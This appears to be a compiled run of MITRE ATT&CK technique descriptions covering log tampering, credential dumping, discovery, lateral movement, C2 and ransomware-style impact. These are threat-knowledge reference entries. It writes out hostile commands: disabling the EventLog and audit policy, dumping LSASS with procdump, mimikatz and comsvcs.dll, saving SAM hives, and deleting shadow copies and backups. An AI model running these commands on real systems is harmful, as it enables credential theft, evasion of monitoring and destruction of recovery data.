The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security SettingsLocal PoliciesAudit Policy for basic audit policy settings or Security SettingsAdvanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)

There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the “Start” value in the key HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-System and HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)

Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).(Citation: change_rdp_port_conti)

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

For example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogSecurity to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)

Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)

Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.

Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.

For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)

Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

* procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:

* sekurlsa::Minidump lsassdump.dmp

* sekurlsa::logonPasswords

Built-in Windows tools such as comsvcs.dll can also be used:

* rundll32.exe C:WindowsSystem32comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLMSYSTEMCurrentControlSetControlLsaSecurity Packages and HKLMSYSTEMCurrentControlSetControlLsaOSConfigSecurity Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.

* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)

* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.

* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

* pwdumpx.exe

* gsecdump

* Mimikatz

* secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

* reg save HKLMsam sam

* reg save HKLMsystem system

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)

Notes:

* RID 500 account is the local, built-in administrator.

* RID 501 is the guest account.

* User accounts start with a RID of 1,000+.

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft – Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.(Citation: ired mscache)

With SYSTEM access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.

* Reading raw keystroke data from the hardware buffer.

* Windows Registry modifications.

* Custom drivers.

* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)

On network devices, private keys may be exported via Network Device CLI commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)

Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.

Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.(Citation: ESET Grandoreiro April 2020)

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include netstat, “net use,” and “net session” with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to “net session”. Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups – Amazon Elastic Compute Cloud)

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)

There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.(Citation: CrowdStrike Ryuk January 2019)

For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNlsLanguage or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelganging May 2018)

On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.

Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.

Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.(Citation: Alperovitch Malware)

Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation. (Citation: MSDN WMI)

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.

On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction – Threat Post)(Citation: DOJ – Cisco Insider)

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as “print bombing”).(Citation: NHS Digital Egregor Nov 2020)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

* vssadmin.exe can be used to delete all volume shadow copies on a system – vssadmin.exe delete shadows /all /quiet

* Windows Management Instrumentation can be used to delete volume shadow copies – wmic shadowcopy delete

* wbadmin.exe can be used to delete the Windows Backup Catalog – wbadmin.exe delete catalog -quiet

* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data – bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system

On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)

In Windows, Net utility, Set-LocalUser and Set-ADAccountPassword PowerShell cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy.

Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.